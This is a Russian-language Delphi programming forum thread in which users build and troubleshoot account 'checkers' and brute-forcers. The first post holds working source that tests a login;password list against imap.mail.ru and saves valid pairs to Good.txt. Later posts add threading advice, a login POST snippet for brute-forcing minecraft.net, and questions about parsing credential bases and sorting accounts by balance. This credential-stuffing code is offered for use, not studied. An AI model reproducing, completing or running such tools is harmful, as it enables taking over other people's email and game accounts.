Delphi Support

Ребята, нужна помощь по потокам. Кароче, сделал я чекер, он, слава богу - работает. Но форма виснит. И в мемо, валидные акки выводятся, только после завершения цикла. Я понял, что это нужно запихнуть в другой поток, но в гугле уроки только про прогресс бар и т.п. Нужного мне я так и не нашёл. Помогите пожалуйста!

Вот код:

Спойлер

unit Unit1;

interface

uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IMAPSend, ssl_openssl;

type
TForm1 = class(TForm)
Memo1: TMemo;
GroupBox1: TGroupBox;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
Button1: TButton;
Button2: TButton;
Button3: TButton;
OpenDialog1: TOpenDialog;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
A,B: integer;
BASE: TStringList;
IMAP: TIMAPSend;
LOG,PAS: String;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
BASE.Clear;
BASE.LoadFromFile(OpenDialog1.FileName);
Label4.Caption:=inttostr(BASE.Count);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if base.Count >0 then
begin
Label5.Caption := '0';
Label6.Caption := '0';
Button1.Enabled := False;
Button2.Enabled := False;
Button3.Enabled := True;
Memo1.Lines.Clear;
for A := 0 to BASE.Count-1 do
begin
LOG := Copy(BASE[A],1,Pos(';',BASE[A])-1);
PAS := Copy(BASE[A],Pos(';',BASE[A])+1,Length(BASE[A]));
IMAP.UserName := LOG;
IMAP.Password := PAS;
IMAP.FullSSL := true;
IMAP.TargetHost := 'imap.mail.ru';
IMAP.TargetPort := '993';
if IMAP.Login then
begin
Label5.Caption:=IntToStr(StrToInt(Label5.Caption)+1);
Memo1.Lines.Add(LOG+';'+PAS);
Memo1.Lines.SaveToFile('Good.txt');
end
else
Label6.Caption:=IntToStr(StrToInt(Label6.Caption)+1);
end;
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
Button1.Enabled := True;
Button2.Enabled := True;
Button3.Enabled := False;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
BASE := TStringList.create;
IMAP := TIMAPSend.Create;
end;

end.

 

Сделай все в потоке ! И лагать не будет.

пропиши

Type
Potol = class(TThread)
potected
Procedure Execute;Override;
public
Proxedure Sync;

В Execute добавь код
И вызови синхронизацию если изменяешь визуальные компоненты

 

Помогите сделать авторизацию в бруте!)
На сайте https://minecraft.net/login
Send:=TStringList.Create;
Send.Add('login='+login);
Send.Add('password='+passw);
Send.Add('mode=login');
Send.Add('from=mail');
Send.Add('lifetime=alltime');
Send.Add('subm=Войти');
try
HTTP.Request.Referer:='https://minecraft.net/login';
pg:=HTTP.Post('https://minecraft.net/challenge', send);
result:=2;

 

Ну так проверь.

 

В том то и проблема, что не знаю как это делать, а в гугле только про прогресс-бар уроки.

 

Ну 2 варианта: либо не лезть туда, чего не знаешь и просто удалить студию, либо захотеть и изучить, а не ныть, что в гугле чего то нету.

 

Ну спасибо хоть за пинок под зад, пойду курить матчасть.

Курил, курил и накурил! Может кому будет полезно: Я вообще никаких методов синхронизации не использовал, просто запихнул весь код в поток, и дописал у тех компонентов, которые мне нужно изменять form1. Форма не виснет, и всё обновляется.

 

Можно вопрос как сделать разделение базы на Login и Password

 

А никто не говорил, что без синхронизации работать не будет. Но если работаешь с потоками, то её надо уметь делать.

 

Есть же исходник один ....
Надо сделать чтобы был процесс копи до ; или :
Тоже само только уже после для пасов )

 

Ага, лучше же по исходникам учиться.

 

А зачем читать книжки? Они вышли из моды!(P.S. Сарказм)

 

Как сделать если баланс на аккаунте = 0 что он в бэд шёл ?